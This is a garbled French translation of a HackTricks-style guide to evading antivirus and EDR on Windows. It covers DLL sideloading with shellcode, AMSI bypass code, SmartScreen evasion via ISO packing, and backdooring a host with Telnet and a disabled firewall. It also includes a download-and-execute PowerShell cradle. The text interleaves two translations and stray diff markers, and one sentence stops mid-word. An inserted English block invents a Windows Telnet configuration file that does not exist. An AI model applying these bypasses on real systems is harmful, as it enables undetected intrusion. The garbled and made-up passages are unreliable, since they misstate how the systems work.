Lorsque c'est possible, **priorisez toujours l'utilisation de DLLs pour l'évasion**, d'après mon expérience, les fichiers DLL sont généralement **beaucoup moins détectés** et analysés, donc c'est une astuce très simple à utiliser pour éviter la détection dans certains cas (si votre charge utile a une manière de s'exécuter en tant que DLL bien sûr).
Comme nous pouvons le voir sur cette image, une charge utile DLL de Havoc a un taux de détection de 4/26 sur antiscan.me, tandis que la charge utile EXE a un taux de détection de 7/26.
Comme nous pouvons le voir sur cette image, un Payload DLL de Havoc a un taux de détection de 4/26 sur antiscan.me, tandis que le Payload EXE a un taux de détection de 7/26.
<figure><img src="../.gitbook/assets/image (6) (3) (1).png" alt=""><figcaption><p>Comparaison sur antiscan.me d'une charge utile Havoc EXE normale par rapport à une charge utile Havoc DLL normale</p></figcaption></figure>
<figure><img src="../.gitbook/assets/image (6) (3) (1).png" alt=""><figcaption><p>comparaison antiscan.me d'un Payload EXE Havoc normal vs un Payload DLL Havoc normal</p></figcaption></figure>
Maintenant, nous allons vous montrer quelques astuces que vous pouvez utiliser avec les fichiers DLL pour être beaucoup plus discret.
Maintenant, nous allons montrer quelques astuces que vous pouvez utiliser avec les fichiers DLL pour être beaucoup plus discret.
## DLL Sideloading & Proxying
**Le sideloading de DLL** profite de l'ordre de recherche des DLL utilisé par le chargeur en positionnant à la fois l'application victime et les charges utiles malveillantes côte à côte.
**DLL Sideloading** tire parti de l'ordre de recherche des DLL utilisé par le chargeur en positionnant à la fois l'application victime et le(s) payload(s) malveillant(s) côte à côte.
Vous pouvez vérifier les programmes susceptibles d'être victimes de sideloading de DLL en utilisant [Siofra](https://github.com/Cybereason/siofra) et le script PowerShell suivant :
Vous pouvez vérifier les programmes susceptibles d'être affectés par le DLL Sideloading en utilisant [Siofra](https://github.com/Cybereason/siofra) et le script powershell suivant :
{% code overflow="wrap" %}
```powershell
@ -88,28 +89,30 @@ $binarytoCheck = "C:\Program Files\" + $_
C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hijack -f $binarytoCheck
}
```
```markdown
{% endcode %}
Cette commande affichera la liste des programmes susceptibles de subir une attaque de détournement de DLL dans "C:\Program Files\\" et les fichiers DLL qu'ils essaient de charger.
Cette commande affichera la liste des programmes susceptibles d'être affectés par le détournement de DLL dans "C:\Program Files\\" et les fichiers DLL qu'ils tentent de charger.
Je vous recommande vivement d'**explorer vous-même les programmes DLL Hijackable/Sideloadable**, cette technique est assez furtive si elle est correctement utilisée, mais si vous utilisez des programmes DLL Sideloadable connus du public, vous pourriez être facilement repéré.
Je vous recommande vivement d'**explorer par vous-même les programmes pouvant être détournés via DLL**, cette technique est assez discrète si elle est bien réalisée, mais si vous utilisez des programmes connus pour être vulnérables au chargement latéral de DLL, vous pourriez être facilement repéré.
Le simple fait de placer une DLL malveillante avec le nom qu'un programme s'attend à charger ne chargera pas votre charge utile, car le programme s'attend à trouver certaines fonctions spécifiques à l'intérieur de cette DLL. Pour résoudre ce problème, nous utiliserons une autre technique appelée **DLL Proxying/Forwarding**.
Le simple fait de placer une DLL malveillante portant le nom attendu par le programme ne chargera pas votre charge utile, car le programme attend certaines fonctions spécifiques à l'intérieur de cette DLL. Pour résoudre ce problème, nous utiliserons une autre technique appelée **Proxying/Forwarding de DLL**.
**DLL Proxying** redirige les appels qu'un programme effectue depuis la DLL proxy (et malveillante) vers la DLL d'origine, préservant ainsi la fonctionnalité du programme et permettant d'exécuter votre charge utile.
Le **Proxying de DLL** redirige les appels qu'un programme fait depuis la DLL proxy (et malveillante) vers la DLL originale, préservant ainsi la fonctionnalité du programme et permettant de gérer l'exécution de votre charge utile.
J'utiliserai le projet [SharpDLLProxy](https://github.com/Flangvik/SharpDllProxy) de [@flangvik](https://twitter.com/Flangvik/)
Je vais utiliser le projet [SharpDLLProxy](https://github.com/Flangvik/SharpDllProxy) de [@flangvik](https://twitter.com/Flangvik/)
Voici les étapes que j'ai suivies :
{% code overflow="wrap" %}
```
```
1. Find an application vulnerable to DLL Sideloading (siofra or using Process Hacker)
2. Generate some shellcode (I used Havoc C2)
3. (Optional) Encode your shellcode using Shikata Ga Nai (https://github.com/EgeBalci/sgn)
4. Use SharpDLLProxy to create the proxy dll (.\SharpDllProxy.exe --dll .\mimeTools.dll --payload .\demon.bin)
```
Le dernier commande nous donnera 2 fichiers: un modèle de code source DLL et la DLL renommée d'origine.
La dernière commande nous donnera 2 fichiers : un modèle de code source DLL et la DLL originale renommée.
<figure><img src="../.gitbook/assets/sharpdllproxy.gif" alt=""><figcaption></figcaption></figure>
@ -123,17 +126,17 @@ Voici les résultats :
<figure><img src="../.gitbook/assets/dll_sideloading_demo.gif" alt=""><figcaption></figcaption></figure>
Notre shellcode (encodé avec [SGN](https://github.com/EgeBalci/sgn)) ainsi que le DLL proxy ont un taux de détection de 0/26 sur [antiscan.me](https://antiscan.me) ! Je dirais que c'est un succès.
Notre shellcode (encodé avec [SGN](https://github.com/EgeBalci/sgn)) et le proxy DLL ont un taux de détection de 0/26 sur [antiscan.me](https://antiscan.me) ! Je considérerais cela comme un succès.
<figure><img src="../.gitbook/assets/image (11) (3).png" alt=""><figcaption></figcaption></figure>
{% hint style="info" %}
Je vous recommande **vivement** de regarder la diffusion en direct de [S3cur3Th1sSh1t](https://www.twitch.tv/videos/1644171543) sur le DLL Sideloading ainsi que la vidéo de [ippsec](https://www.youtube.com/watch?v=3eROsG\_WNpE) pour en savoir plus sur ce que nous avons discuté en détail.
Je vous **recommande fortement** de regarder la VOD de [S3cur3Th1sSh1t sur Twitch](https://www.twitch.tv/videos/1644171543) à propos du DLL Sideloading et également [la vidéo d'ippsec](https://www.youtube.com/watch?v=3eROsG\_WNpE) pour en apprendre davantage sur ce que nous avons discuté plus en détail.
{% endhint %}
## [**Freeze**](https://github.com/optiv/Freeze)
`Freeze est une boîte à outils de charge utile permettant de contourner les EDR en utilisant des processus suspendus, des appels système directs et des méthodes d'exécution alternatives`
`Freeze est une boîte à outils de payload pour contourner les EDRs en utilisant des processus suspendus, des appels système directs et des méthodes d'exécution alternatives`
Vous pouvez utiliser Freeze pour charger et exécuter votre shellcode de manière furtive.
```
@ -142,59 +145,61 @@ Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freez
2. ./Freeze -I demon.bin -encrypt -O demon.exe
3. Profit, no alerts from defender
```
```markdown
<figure><img src="../.gitbook/assets/freeze_demo_hacktricks.gif" alt=""><figcaption></figcaption></figure>
{% hint style="info" %}
L'évasion est juste un jeu du chat et de la souris, ce qui fonctionne aujourd'hui peut être détecté demain, donc ne vous fiez jamais à un seul outil, si possible, essayez de combiner plusieurs techniques d'évasion.
L'évasion est simplement un jeu du chat et de la souris, ce qui fonctionne aujourd'hui pourrait être détecté demain, donc ne comptez jamais sur un seul outil, si possible, essayez d'enchaîner plusieurs techniques d'évasion.
{% endhint %}
## AMSI (Interface de numérisation anti-programme malveillant)
## AMSI (Interface de numérisation anti-malware)
AMSI a été créé pour prévenir les "[malwares sans fichier](https://en.wikipedia.org/wiki/Fileless\_malware)". Initialement, les antivirus étaient capables de scanner uniquement les **fichiers sur le disque**, donc si vous pouviez somehow exécuter des charges utiles **directement en mémoire**, l'antivirus ne pouvait rien faire pour l'empêcher, car il n'avait pas assez de visibilité.
AMSI a été créé pour prévenir le "[malware sans fichier](https://en.wikipedia.org/wiki/Fileless\_malware)". Initialement, les antivirus étaient seulement capables de scanner **les fichiers sur disque**, donc si vous pouviez exécuter des charges utiles **directement en mémoire**, l'antivirus ne pouvait rien faire pour l'empêcher, car il n'avait pas assez de visibilité.
La fonctionnalité AMSI est intégrée à ces composants de Windows.
La fonctionnalité AMSI est intégrée dans ces composants de Windows.
* Contrôle de compte d'utilisateur, ou UAC (élévation de l'installation EXE, COM, MSI ou ActiveX)
* PowerShell (scripts, utilisation interactive et évaluation de code dynamique)
* Hôte de script Windows (wscript.exe et cscript.exe)
* Contrôle de compte d'utilisateur, ou UAC (élévation de EXE, COM, MSI, ou installation ActiveX)
* PowerShell (scripts, utilisation interactive, et évaluation de code dynamique)
* Windows Script Host (wscript.exe et cscript.exe)
* JavaScript et VBScript
* Macros Office VBA
* Macros VBA Office
Il permet aux solutions antivirus d'inspecter le comportement des scripts en exposant le contenu des scripts sous une forme à la fois non chiffrée et non obfusquée.
Elle permet aux solutions antivirus d'inspecter le comportement des scripts en exposant le contenu des scripts sous une forme à la fois non chiffrée et non obscurcie.
L'exécution de `IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')` produira l'alerte suivante sur Windows Defender.
Exécuter `IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')` produira l'alerte suivante sur Windows Defender.
<figure><img src="../.gitbook/assets/image (4) (5).png" alt=""><figcaption></figcaption></figure>
Remarquez comment il ajoute `amsi:` puis le chemin vers l'exécutable à partir duquel le script s'est exécuté, dans ce cas, powershell.exe
Remarquez comment il ajoute `amsi:` puis le chemin vers l'exécutable à partir duquel le script a été exécuté, dans ce cas, powershell.exe
Nous n'avons pas déposé de fichier sur le disque, mais nous avons quand même été détectés en mémoire à cause d'AMSI.
Nous n'avons déposé aucun fichier sur disque, mais nous avons quand même été pris en mémoire à cause de AMSI.
Il existe quelques façons de contourner AMSI :
Il existe plusieurs façons de contourner AMSI :
* **Obfuscation**
Étant donné qu'AMSI fonctionne principalement avec des détections statiques, modifier les scripts que vous essayez de charger peut être un bon moyen d'éviter la détection.
Puisque AMSI fonctionne principalement avec des détections statiques, modifier les scripts que vous essayez de charger peut être un bon moyen d'éviter la détection.
Cependant, AMSI a la capacité de désobfusquer les scripts même s'ils ont plusieurs couches, donc l'obfuscation pourrait être une mauvaise option en fonction de la manière dont elle est réalisée. Cela rend l'évasion pas si simple. Cependant, parfois, il suffit de changer quelques noms de variables et vous serez tranquille, donc cela dépend de la quantité de signalement.
Cependant, AMSI a la capacité de désobscurcir les scripts même s'ils ont plusieurs couches, donc l'obfuscation pourrait être une mauvaise option selon la manière dont elle est faite. Cela rend l'évasion pas si évidente. Bien que, parfois, tout ce que vous avez à faire est de changer quelques noms de variables et vous serez bon, donc cela dépend de combien quelque chose a été signalé.
* **Contournement d'AMSI**
Étant donné qu'AMSI est implémenté en chargeant une DLL dans le processus powershell (également cscript.exe, wscript.exe, etc.), il est possible de le manipuler facilement même en tant qu'utilisateur non privilégié. En raison de cette faille dans la mise en œuvre d'AMSI, les chercheurs ont trouvé plusieurs façons d'éviter la numérisation AMSI.
Puisque AMSI est implémenté en chargeant une DLL dans le processus powershell (également cscript.exe, wscript.exe, etc.), il est possible de le manipuler facilement même en tant qu'utilisateur non privilégié. En raison de cette faille dans la mise en œuvre d'AMSI, les chercheurs ont trouvé plusieurs façons d'éviter le scan AMSI.
**Forcer une erreur**
**Forcer une Erreur**
Forcer l'échec de l'initialisation d'AMSI (amsiInitFailed) fera en sorte qu'aucune numérisation ne soit lancée pour le processus en cours. À l'origine, cela a été divulgué par [Matt Graeber](https://twitter.com/mattifestation) et Microsoft a développé une signature pour empêcher une utilisation plus large.
Forcer l'initialisation d'AMSI à échouer (amsiInitFailed) aura pour résultat qu'aucun scan ne sera initié pour le processus actuel. À l'origine, cela a été divulgué par [Matt Graeber](https://twitter.com/mattifestation) et Microsoft a développé une signature pour prévenir une utilisation plus large.
{% code overflow="wrap" %}
```
```powershell
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
```
{% endcode %}
Tout ce qu'il a fallu, c'est une seule ligne de code PowerShell pour rendre AMSI inutilisable pour le processus PowerShell actuel. Cette ligne a bien sûr été repérée par AMSI lui-même, donc certaines modifications sont nécessaires pour utiliser cette technique.
Il a suffi d'une seule ligne de code powershell pour rendre AMSI inutilisable pour le processus powershell actuel. Cette ligne a bien sûr été signalée par AMSI lui-même, donc une modification est nécessaire pour utiliser cette technique.
Voici une version modifiée de la contournement d'AMSI que j'ai trouvée dans ce [Github Gist](https://gist.github.com/r00t-3xp10it/a0c6a368769eec3d3255d4814802b5db).
Voici un contournement AMSI modifié que j'ai pris de ce [Github Gist](https://gist.github.com/r00t-3xp10it/a0c6a368769eec3d3255d4814802b5db).
```powershell
Try{#Ams1 bypass technic nº 2
$Xdatabase = 'Utils';$Homedrive = 'si'
@ -208,53 +213,57 @@ $Spotfix = $SDcleanup.GetField($Rawdata,"$ComponentDeviceId,Static")
$Spotfix.SetValue($null,$true)
}Catch{Throw $_}
```
**Patching de la mémoire**
Gardez à l'esprit que cela sera probablement signalé une fois que ce post sortira, donc vous ne devriez pas publier de code si votre plan est de rester non détecté.
Cette technique a été découverte initialement par [@RastaMouse](https://twitter.com/\_RastaMouse/) et elle consiste à trouver l'adresse de la fonction "AmsiScanBuffer" dans amsi.dll (responsable de l'analyse de l'entrée fournie par l'utilisateur) et à la remplacer par des instructions renvoyant le code E\_INVALIDARG. Ainsi, le résultat de l'analyse réelle renverra 0, ce qui sera interprété comme un résultat propre.
**Modification de la mémoire**
Cette technique a été initialement découverte par [@RastaMouse](https://twitter.com/\_RastaMouse/) et elle implique de trouver l'adresse de la fonction "AmsiScanBuffer" dans amsi.dll (responsable de l'analyse des entrées fournies par l'utilisateur) et de la réécrire avec des instructions pour retourner le code pour E_INVALIDARG, de cette façon, le résultat de l'analyse réelle retournera 0, qui est interprété comme un résultat propre.
{% hint style="info" %}
Veuillez lire [https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamouse.me/memory-patching-amsi-bypass/) pour une explication plus détaillée.
{% endhint %}
Il existe également de nombreuses autres techniques utilisées pour contourner AMSI avec PowerShell, consultez [**cette page**](basic-powershell-for-pentesters/#amsi-bypass) et [ce dépôt](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell) pour en savoir plus à leur sujet.
Il existe également de nombreuses autres techniques utilisées pour contourner AMSI avec powershell, consultez [**cette page**](basic-powershell-for-pentesters/#amsi-bypass) et [ce dépôt](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell) pour en savoir plus à leur sujet.
Ou ce script qui via la modification de la mémoire patchera chaque nouveau Powersh
## Obfuscation
Il existe plusieurs outils qui peuvent être utilisés pour **obfusquer le code C# en clair**, générer des **modèles de méta-programmation** pour compiler des binaires ou **obfusquer des binaires compilés**, tels que :
Il existe plusieurs outils qui peuvent être utilisés pour **obfusquer le code clair C#**, générer des **modèles de métaprogrammation** pour compiler des binaires ou **obfusquer des binaires compilés** tels que :
* [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: Obfuscateur C#**
* [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator) : L'objectif de ce projet est de fournir une version open-source de la suite de compilation [LLVM](http://www.llvm.org/) capable de garantir une sécurité logicielle accrue grâce à l'obfuscation du code et à la protection contre les manipulations.
* [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator) : ADVobfuscator montre comment utiliser le langage `C++11/14` pour générer, au moment de la compilation, du code obfusqué sans utiliser d'outil externe et sans modifier le compilateur.
* [**obfy**](https://github.com/fritzone/obfy) : Ajoute une couche d'opérations obfusquées générées par le framework de méta-programmation des modèles C++, ce qui rendra la tâche de la personne voulant craquer l'application un peu plus difficile.
* [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz est un obfuscateur binaire x64 capable d'obfusquer différents fichiers PE, y compris : .exe, .dll, .sys
* [**metame**](https://github.com/a0rtega/metame) : Metame est un moteur de code métamorphique simple pour les exécutables arbitraires.
* [**ropfuscator**](https://github.com/ropfuscator/ropfuscator) : ROPfuscator est un framework d'obfuscation de code à grain fin pour les langages supportés par LLVM utilisant la programmation orientée retour (ROP). ROPfuscator obfusque un programme au niveau du code assembleur en transformant les instructions régulières en chaînes ROP, contrecarrant notre conception naturelle du flux de contrôle normal.
* [**Nimcrypt**](https://github.com/icyguider/nimcrypt) : Nimcrypt est un crypteur .NET PE écrit en Nim.
* [**inceptor**](https://github.com/klezVirus/inceptor)**:** Inceptor est capable de convertir des EXE/DLL existants en shellcode, puis de les charger.
* [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)** : Obfuscateur C#**
* [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator) : Le but de ce projet est de fournir un fork open-source de la suite de compilation [LLVM](http://www.llvm.org/) capable de fournir une sécurité logicielle accrue grâce à l'[obfuscation de code](http://en.wikipedia.org/wiki/Obfuscation\_\(software\)) et à la protection contre la modification.
* [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator) : ADVobfuscator démontre comment utiliser le langage `C++11/14` pour générer, au moment de la compilation, du code obfusqué sans utiliser d'outil externe et sans modifier le compilateur.
* [**obfy**](https://github.com/fritzone/obfy) : Ajoutez une couche d'opérations obfusquées générées par le framework de métaprogrammation de templates C++ qui rendra la vie de la personne souhaitant craquer l'application un peu plus difficile.
* [**Alcatraz**](https://github.com/weak1337/Alcatraz)** :** Alcatraz est un obfuscateur binaire x64 capable d'obfusquer divers fichiers pe différents, y compris : .exe, .dll, .sys
* [**metame**](https://github.com/a0rtega/metame) : Metame est un moteur de code métamorphique simple pour des exécutables arbitraires.
* [**ropfuscator**](https://github.com/ropfuscator/ropfuscator) : ROPfuscator est un cadre d'obfuscation de code à grain fin pour les langues prises en charge par LLVM utilisant ROP (return-oriented programming). ROPfuscator obfusque un programme au niveau du code assembleur en transformant les instructions régulières en chaînes ROP, contrecarrant notre conception naturelle du flux de contrôle normal.
* [**Nimcrypt**](https://github.com/icyguider/nimcrypt) : Nimcrypt est un Crypter .NET PE écrit en Nim
* [**inceptor**](https://github.com/klezVirus/inceptor)** :** Inceptor est capable de convertir des EXE/DLL existants en shellcode puis de les charger
## SmartScreen & MoTW
Vous avez peut-être vu cet écran lors du téléchargement de certains exécutables depuis Internet et de leur exécution.
Vous avez peut-être vu cet écran lors du téléchargement de certains exécutables sur Internet et de leur exécution.
Microsoft Defender SmartScreen est un mécanisme de sécurité destiné à protéger l'utilisateur final contre l'exécution d'applications potentiellement malveillantes.
<figure><img src="../.gitbook/assets/image (1) (4).png" alt=""><figcaption></figcaption></figure>
SmartScreen fonctionne principalement selon une approche basée sur la réputation, ce qui signifie que les applications téléchargées de manière peu courante déclencheront SmartScreen, alertant ainsi l'utilisateur final et l'empêchant d'exécuter le fichier (bien que le fichier puisse toujours être exécuté en cliquant sur Plus d'informations -> Exécuter quand même).
SmartScreen fonctionne principalement avec une approche basée sur la réputation, ce qui signifie que les applications peu téléchargées déclencheront SmartScreen, alertant ainsi l'utilisateur final et l'empêchant d'exécuter le fichier (bien que le fichier puisse toujours être exécuté en cliquant sur Plus d'infos -> Exécuter quand même).
**MoTW** (Mark of The Web) est un [flux de données alternatif NTFS](https://en.wikipedia.org/wiki/NTFS#Alternate\_data\_stream\_\(ADS\)) portant le nom de Zone.Identifier, qui est créé automatiquement lors du téléchargement de fichiers depuis Internet, avec l'URL à partir de laquelle ils ont été téléchargés.
**MoTW** (Marque du Web) est un [flux de données alternatif NTFS](https://en.wikipedia.org/wiki/NTFS#Alternate\_data\_stream\_\(ADS\)) avec le nom de Zone.Identifier qui est automatiquement créé lors du téléchargement de fichiers sur Internet, ainsi que l'URL d'où il a été téléchargé.
<figure><img src="../.gitbook/assets/image (13) (3).png" alt=""><figcaption><p>Vérification du flux de données alternatif Zone.Identifier pour un fichier téléchargé depuis Internet.</p></figcaption></figure>
<figure><img src="../.gitbook/assets/image (13) (3).png" alt=""><figcaption><p>Vérification du flux de données alternatif Zone.Identifier ADS pour un fichier téléchargé sur Internet.</p></figcaption></figure>
{% hint style="info" %}
Il est important de noter que les exécutables signés avec un certificat de signature **fiable** ne déclencheront pas SmartScreen.
Il est important de noter que les exécutables signés avec un certificat de signature **de confiance** **ne déclencheront pas SmartScreen**.
{% endhint %}
Une façon très efficace d'empêcher vos charges utiles d'obtenir la marque de The Web est de les emballer dans un conteneur comme une ISO. Cela se produit parce que Mark-of-the-Web (MOTW) ne peut pas être appliqué aux volumes **non NTFS**.
Un moyen très efficace d'empêcher vos charges utiles d'obtenir la Marque du Web est de les emballer à l'intérieur d'une sorte de conteneur comme un ISO. Cela se produit parce que la Marque-du-Web (MOTW) **ne peut pas** être appliquée à des volumes **non NTFS**.
<figure><img src="../.gitbook/assets/image (12) (2) (2).png" alt=""><figcaption></figcaption></figure>
[**PackMyPayload**](https://github.com/mgeeky/PackMyPayload/) est un outil qui emballe les charges utiles dans des conteneurs de sortie pour éviter la marque de The Web.
[**PackMyPayload**](https://github.com/mgeeky/PackMyPayload/) est un outil qui emballe les charges utiles dans des conteneurs de sortie pour éviter la Marque-du-Web.
Exemple d'utilisation :
```powershell
@ -278,120 +287,96 @@ Adding file: /TotallyLegitApp.exe
[+] Generated file written to (size: 3420160): container.iso
```
Voici une démonstration pour contourner SmartScreen en empaquetant des charges utiles à l'intérieur de fichiers ISO à l'aide de [PackMyPayload](https://github.com/mgeeky/PackMyPayload/)
Voici une démonstration pour contourner SmartScreen en empaquetant des charges utiles dans des fichiers ISO en utilisant [PackMyPayload](https://github.com/mgeeky/PackMyPayload/)
<figure><img src="../.gitbook/assets/packmypayload_demo.gif" alt=""><figcaption></figcaption></figure>
## Réflexion sur l'assemblage C#
## Réflexion d'Assemblage C#
Le chargement de binaires C# en mémoire est connu depuis un certain temps et c'est toujours un excellent moyen d'exécuter vos outils de post-exploitation sans être détecté par les antivirus.
Charger des binaires C# en mémoire est connu depuis un certain temps et c'est toujours une excellente manière d'exécuter vos outils de post-exploitation sans être détecté par l'AV.
Étant donné que la charge utile sera chargée directement en mémoire sans toucher au disque, nous devrons seulement nous préoccuper de patcher AMSI pour l'ensemble du processus.
Puisque la charge utile est chargée directement en mémoire sans toucher le disque, nous devrons seulement nous préoccuper de patcher AMSI pour tout le processus.
La plupart des frameworks C2 (sliver, Covenant, metasploit, CobaltStrike, Havoc, etc.) offrent déjà la possibilité d'exécuter des assemblages C# directement en mémoire, mais il existe différentes façons de le faire :
La plupart des cadres C2 (sliver, Covenant, metasploit, CobaltStrike, Havoc, etc.) offrent déjà la capacité d'exécuter des assemblages C# directement en mémoire, mais il existe différentes manières de le faire :
* **Fork\&Run**
Cela implique de **créer un nouveau processus sacrificiel**, d'injecter votre code malveillant de post-exploitation dans ce nouveau processus, d'exécuter votre code malveillant et, une fois terminé, de tuer le nouveau processus. Cette méthode présente à la fois des avantages et des inconvénients. L'avantage de la méthode fork and run est que l'exécution se produit **en dehors** de notre processus d'implant Beacon. Cela signifie que si quelque chose se passe mal ou est détecté lors de notre action de post-exploitation, il y a **beaucoup plus de chances** que notre **implant survive**. L'inconvénient est que vous avez **plus de chances** de vous faire prendre par des **détections comportementales**.
Cela implique **de générer un nouveau processus sacrificiel**, d'injecter votre code malveillant de post-exploitation dans ce nouveau processus, d'exécuter votre code malveillant et, une fois terminé, de tuer le nouveau processus. Cela a ses avantages et ses inconvénients. L'avantage de la méthode fork and run est que l'exécution se produit **à l'extérieur** de notre processus d'implant Beacon. Cela signifie que si quelque chose dans notre action de post-exploitation se passe mal ou est détecté, il y a une **bien plus grande chance** que notre **implant survive**. L'inconvénient est que vous avez une **plus grande chance** d'être détecté par les **Détections Comportementales**.
<figure><img src="../.gitbook/assets/image (7) (1) (3).png" alt=""><figcaption></figcaption></figure>
* **Inline**
Il s'agit d'injecter le code malveillant de post-exploitation **dans son propre processus**. De cette façon, vous pouvez éviter de créer un nouveau processus et de le faire analyser par l'antivirus, mais l'inconvénient est que si quelque chose ne va pas avec l'exécution de votre charge utile, il y a **beaucoup plus de chances** de **perdre votre beacon** car il pourrait planter.
Il s'agit d'injecter le code malveillant de post-exploitation **dans son propre processus**. De cette façon, vous pouvez éviter de devoir créer un nouveau processus et de le faire scanner par l'AV, mais l'inconvénient est que si quelque chose se passe mal avec l'exécution de votre charge utile, il y a une **bien plus grande chance** de **perdre votre beacon**, car il pourrait planter.
<figure><img src="../.gitbook/assets/image (9) (3).png" alt=""><figcaption></figcaption></figure>
{% hint style="info" %}
Si vous souhaitez en savoir plus sur le chargement d'assemblages C#, veuillez consulter cet article [https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/](https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/) et leur BOF InlineExecute-Assembly ([https://github.com/xforcered/InlineExecute-Assembly](https://github.com/xforcered/InlineExecute-Assembly))
Si vous souhaitez en savoir plus sur le chargement d'assemblages C#, veuillez consulter cet article [https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/](https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/) et leur InlineExecute-Assembly BOF ([https://github.com/xforcered/InlineExecute-Assembly](https://github.com/xforcered/InlineExecute-Assembly))
{% endhint %}
Vous pouvez également charger des assemblages C# **à partir de PowerShell**, consultez [Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader) et [la vidéo de S3cur3th1sSh1t](https://www.youtube.com/watch?v=oe11Q-3Akuk).
Vous pouvez également charger des assemblages C# **depuis PowerShell**, consultez [Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader) et [la vidéo de S3cur3th1sSh1t](https://www.youtube.com/watch?v=oe11Q-3Akuk).
## Utilisation d'autres langages de programmation
Comme proposé dans [**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins), il est possible d'exécuter du code malveillant en utilisant d'autres langages en donnant à la machine compromise un accès **à l'environnement de l'interpréteur installé sur le partage SMB contrôlé par l'attaquant**.&#x20;
Comme proposé dans [**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins), il est possible d'exécuter du code malveillant en utilisant d'autres langages en donnant à la machine compromise l'accès **à l'environnement de l'interpréteur installé sur le partage SMB contrôlé par l'attaquant**.
En permettant l'accès aux binaires de l'interpréteur et à l'environnement sur le partage SMB, vous pouvez **exécuter du code arbitraire dans ces langages en mémoire** de la machine compromise.
En permettant l'accès aux binaires de l'interpréteur et à l'environnement sur le partage SMB, vous pouvez **exécuter du code arbitraire dans ces langages en mémoire** sur la machine compromise.
Le dépôt indique : Defender analyse toujours les scripts, mais en utilisant Go, Java, PHP, etc., nous avons **plus de flexibilité pour contourner les signatures statiques**. Les tests avec des scripts de shell inversé aléatoires non obfusqués dans ces langages ont été concluants.
Le dépôt indique : Defender scanne toujours les scripts mais en utilisant Go, Java, PHP, etc., nous avons **plus de flexibilité pour contourner les signatures statiques**. Les tests avec des scripts de shell inversé aléatoires non-obfusqués dans ces langages se sont avérés fructueux.
## Évasion avancée
L'évasion est un sujet très complexe, parfois vous devez prendre en compte de nombreuses sources différentes de télémétrie dans un seul système, il est donc pratiquement impossible de rester complètement indétecté dans des environnements matures.
L'évasion est un sujet très compliqué, parfois vous devez prendre en compte de nombreuses sources différentes de télémétrie dans un seul système, il est donc pratiquement impossible de rester complètement indétecté dans des environnements matures.
Chaque environnement que vous affrontez aura ses propres forces et faiblesses.
Chaque environnement auquel vous vous attaquez aura ses propres forces et faiblesses.
Je vous encourage vivement à regarder cette présentation de [@ATTL4S](https://twitter.com/DaniLJ94), pour vous familiariser avec des techniques d'évasion plus avancées.
Je vous encourage vivement à regarder cette conférence de [@ATTL4S](https://twitter.com/DaniLJ94), pour obtenir un aperçu des techniques d'évasion plus avancées.
{% embed url="https://vimeo.com/502507556?embedded=true&owner=32913914&source=vimeo_logo" %}
Il s'agit également d'une autre excellente présentation de [@mariuszbit](https://twitter.com/mariuszbit) sur l'évasion en profondeur.
Ceci est également une autre excellente conférence de [@mariuszbit](https://twitter.com/mariuszbit) sur l'Évasion en Profondeur.
{% embed url="https://www.youtube.com/watch?v=IbA7Ung39o4" %}
## **Anciennes techniques**
## **Anciennes Techniques**
### **Serveur Telnet**
Jusqu'à Windows10, tous les Windows étaient livrés avec un **serveur Telnet** que vous pouviez installer (en tant qu'administrateur) en faisant :
Jusqu'à Windows 10, tous les Windows étaient livrés avec un **serveur Telnet** que vous pouviez installer (en tant qu'administrateur) en faisant :
```
pkgmgr /iu:"TelnetServer" /quiet
```
Faites en sorte qu'il **démarre** lorsque le système démarre et **exécutez-le** maintenant:
Faites-le **démarrer** lorsque le système est lancé et **exécutez**-le maintenant :
```
sc config TlntSVR start= auto obj= localsystem
```
**Changer le port telnet** (furtif) et désactiver le pare-feu:
```plaintext
To change the default telnet port, follow these steps:
1. Open the telnet configuration file. On Windows, the file is located at `C:\Windows\System32\drivers\etc\telnetd.conf`.
2. Look for the line that specifies the port number. By default, it is set to `23`.
3. Change the port number to a different value, such as `8080`.
4. Save the changes and close the file.
To disable the firewall, follow these steps:
1. Open the Windows Firewall settings.
2. Click on "Turn Windows Firewall on or off".
3. Select the option to turn off the firewall for both private and public networks.
4. Save the changes and close the settings.
Remember that changing the telnet port and disabling the firewall can make your system more vulnerable to attacks. It is important to consider the security implications before making these changes.
```
**Changer le port telnet** (furtif) et désactiver le pare-feu :
```
tlntadmn config port=80
netsh advfirewall set allprofiles state off
```
### UltraVNC
Téléchargez-le depuis : [http://www.uvnc.com/downloads/ultravnc.html](http://www.uvnc.com/downloads/ultravnc.html) (vous voulez les téléchargements binaires, pas l'installation)
Téléchargez-le depuis : [http://www.uvnc.com/downloads/ultravnc.html](http://www.uvnc.com/downloads/ultravnc.html) (vous voulez les téléchargements bin, pas le setup)
**SUR L'HÔTE** : Exécutez _**winvnc.exe**_ et configurez le serveur :
* Activez l'option _Désactiver TrayIcon_
* Définissez un mot de passe dans _Mot de passe VNC_
* Définissez un mot de passe dans _Mot de passe en lecture seule_
* Activez l'option _Disable TrayIcon_
* Définissez un mot de passe dans _VNC Password_
